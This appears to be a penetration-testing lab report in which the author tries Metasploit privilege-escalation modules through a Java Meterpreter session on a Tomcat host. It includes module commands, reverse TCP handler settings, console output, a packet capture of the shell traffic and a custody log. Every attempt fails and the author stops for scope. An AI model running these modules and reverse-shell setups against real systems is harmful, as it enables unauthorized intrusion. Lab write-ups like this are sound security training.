

1. Privilege Escalation (Meterpreter)

```
meterpreter > msf6
[-] Unknown command: msf6. Run the help command for more details.
meterpreter > getuid
Server username: tomcat55
meterpreter > █
```

```
[*] Backgrounding session 1...
msf6 exploit(multi/http/tomcat_mgr_deploy) > use exploit/windows/local/always_install_elevated
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/always_install_elevated) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf6 exploit(windows/local/always_install_elevated) > run
[*] Started reverse TCP handler on 192.168.56.103:4444
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: java
[!] * incompatible session platform: linux. This module works with: Windows.
[!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, ...
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/always_install_elevated) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.56.104 - Collecting local exploits for java/linux ...
/usr/share/metasploit-framework/modules/exploits/linux/local/sock_sendpage.rb:47: warning: key "Notes" is duplicated and overwritten on line 68
/usr/share/metasploit-framework/modules/exploits/unix/webapp/phpbb_highlight.rb:46: warning: key "Notes" is duplicated and overwritten on line 51
[*] Collecting exploit 1729 / 2529
```

2. Evidence Collection – Wireshark + File

File Machine View Input Devices Help

traffic_log pcapng

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-F>

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.56.103	192.168.56.104	TCP	173	4444 → 52015 [PSH, ACK] Seq=1 Ack=1 Win=1189 Len=107 TSval=1703010945 TSecr=144143
2	0.000849225	192.168.56.104	192.168.56.103	TCP	187	52015 → 4444 [PSH, ACK] Seq=1 Ack=108 Win=3593 Len=121 TSval=144272 TSecr=1703010945
3	0.000901127	192.168.56.103	192.168.56.104	TCP	66	4444 → 52015 [ACK] Seq=108 Ack=122 Win=1189 Len=0 TSval=1703010952 TSecr=144272
4	0.736440273	192.168.56.1	192.168.56.255	UDP	62	2008 → 2008 Len=20
5	0.965427533	192.168.56.1	239.255.255.250	SSDP	179	M-SEARCH * HTTP/1.1
6	1.381939179	192.168.56.103	192.168.56.104	TCP	173	4444 → 52015 [PSH, ACK] Seq=108 Ack=122 Win=1189 Len=107 TSval=1703012327 TSecr=144272
7	1.405218629	192.168.56.104	192.168.56.103	TCP	187	52015 → 4444 [PSH, ACK] Seq=122 Ack=215 Win=3593 Len=121 TSval=144412 TSecr=1703012327
8	1.405330725	192.168.56.103	192.168.56.104	TCP	66	4444 → 52015 [ACK] Seq=215 Ack=243 Win=1189 Len=0 TSval=1703012351 TSecr=144412
9	1.741299221	192.168.56.1	192.168.56.255	UDP	62	2008 → 2008 Len=20
10	2.730717163	192.168.56.103	192.168.56.104	TCP	173	4444 → 52015 [PSH, ACK] Seq=215 Ack=243 Win=1189 Len=107 TSval=1703013676 TSecr=144412
11	2.745974773	192.168.56.1	192.168.56.255	UDP	62	2008 → 2008 Len=20
12	2.747902930	192.168.56.104	192.168.56.103	TCP	187	52015 → 4444 [PSH, ACK] Seq=243 Ack=322 Win=3593 Len=121 TSval=144546 TSecr=1703013676
13	2.747963733	192.168.56.103	192.168.56.104	TCP	66	4444 → 52015 [ACK] Seq=322 Ack=364 Win=1189 Len=0 TSval=1703013693 TSecr=144546
14	3.750767345	192.168.56.1	192.168.56.255	UDP	62	2008 → 2008 Len=20
15	3.968615013	192.168.56.1	239.255.255.250	SSDP	179	M-SEARCH * HTTP/1.1
16	4.139745627	192.168.56.103	192.168.56.104	TCP	173	4444 → 52015 [PSH, ACK] Seq=322 Ack=364 Win=1189 Len=107 TSval=1703015085 TSecr=144546
17	4.165358869	192.168.56.104	192.168.56.103	TCP	187	52015 → 4444 [PSH, ACK] Seq=364 Ack=429 Win=3593 Len=121 TSval=144688 TSecr=1703015085
18	4.165484486	192.168.56.103	192.168.56.104	TCP	66	4444 → 52015 [ACK] Seq=429 Ack=485 Win=1189 Len=0 TSval=1703015111 TSecr=144688
19	4.755476580	192.168.56.1	192.168.56.255	UDP	62	2008 → 2008 Len=20
20	5.461797312	192.168.56.103	192.168.56.104	TCP	173	4444 → 52015 [PSH, ACK] Seq=429 Ack=485 Win=1189 Len=107 TSval=1703016407 TSecr=144688
21	5.470739669	192.168.56.104	192.168.56.103	TCP	187	52015 → 4444 [PSH, ACK] Seq=485 Ack=536 Win=3593 Len=121 TSval=144818 TSecr=1703016407
22	5.470831302	192.168.56.103	192.168.56.104	TCP	66	4444 → 52015 [ACK] Seq=536 Ack=606 Win=1189 Len=0 TSval=1703016416 TSecr=144818
23	5.761075182	192.168.56.1	192.168.56.255	UDP	62	2008 → 2008 Len=20
24	6.763036725	192.168.56.103	192.168.56.104	TCP	173	4444 → 52015 [PSH, ACK] Seq=536 Ack=606 Win=1189 Len=107 TSval=1703017708 TSecr=144818
25	6.768739820	192.168.56.1	192.168.56.255	UDP	62	2008 → 2008 Len=20
26	6.772697097	192.168.56.104	192.168.56.103	TCP	187	52015 → 4444 [PSH, ACK] Seq=606 Ack=643 Win=3593 Len=121 TSval=144948 TSecr=1703017708
27	6.772853577	192.168.56.103	192.168.56.104	TCP	66	4444 → 52015 [ACK] Seq=643 Ack=727 Win=1189 Len=0 TSval=1703017718 TSecr=144948
28	7.772466670	192.168.56.1	192.168.56.255	UDP	62	2008 → 2008 Len=20
29	7.852116970	192.168.56.1	239.255.255.250	SSDP	140	M-SEARCH * HTTP/1.1
30	8.113154000	192.168.56.103	192.168.56.104	TCP	173	4444 → 52015 [PSH, ACK] Seq=643 Ack=727 Win=1189 Len=107 TSval=1703019058 TSecr=144948

Frame 1: 173 bytes on wire (1384 bits), 173 bytes captured (1384 bits) on interface 0
Ethernet II, Src: PCSSystemtec 92:36:89 (08:00:27:82:36:89), Dst: PCSSystemtec f8:bd:8d:00:00:00
Internet Protocol Version 4, Src: 192.168.56.103, Dst: 192.168.56.104

Packets: 149

Item	Description	Collected By	Date	Hash Value
Traffic Log	HTTP Traffic	Hilary Joachim	2025-08-25	77a05775d72f16b0eae9274b19779f021963b1321f430b083ede378d5d3a174d

2. Actions Taken

1. Started with **Java Meterpreter session** from exploited service.
2. Attempted **Windows module** (`always_install_elevated`) → failed because target OS = Linux.
3. Switched to Linux exploitation.
 - Ran `post/multi/recon/local_exploit_suggester`.
 - Identified potential exploits:
 - `exploit/linux/local/netfilter_priv_esc_ipv4`
 - `exploit/linux/local/su_login`
 - others listed as partially validated.

Selected **netfilter_priv_esc_ipv4** module:

```
set SESSION 1
set LHOST 192.168.56.103
set LPORT 6666
run
```

- 4.
5. Exploit failed due to:

- **Session incompatibility** (Java vs. required Linux Meterpreter).
- **Missing system libraries** (`libc6-dev-i386`, `gcc-multilib`).
- Kernel restrictions: `max_user_namespaces` and `unprivileged_usersns_clone` blocked.

```
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) > run
[*] Started reverse TCP handler on 192.168.56.103:6666
[!] SESSION may not be compatible with this module:
[*] incompatible session architecture: java
[*] missing Meterpreter features: stdapi_fs_chmod
[-] Failed to open file: /proc/sys/user/max_user_namespaces: core_channel_open: Operation failed: 1
[-] Failed to open file: /proc/sys/kernel/unprivileged_usersns_clone: core_channel_open: Operation failed: 1
[-] libc6-dev-i386 is not installed. Compiling will fail.
[-] gcc-multilib is not installed. Compiling will fail.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) >
```

3. Results

- No privilege escalation achieved.
- Exploits were detected as **potentially vulnerable**, but environment limitations prevented successful execution.
- Network and session integrity maintained (no uncontrolled crashes).

4. Challenges Faced

- Wrong session type (Java instead of full Linux Meterpreter).
- Incomplete environment setup (missing compilers & libraries).
- Module failed to interact with restricted kernel features.

5. Conclusion

- Attempted Windows exploit → incompatible OS.
- Attempted Linux exploit → technically vulnerable, but exploit failed.
- Final decision: stop exploitation and preserve evidence for report.

I initially tried a Windows module but realized the system was Linux. Then, I moved to Linux exploitation. The module suggested (`netfilter_priv_esc_ipv4`) failed due to session incompatibility and missing environment dependencies. At this stage, I stopped the exploitation process to maintain scope and instead prepared this report with chain of custody.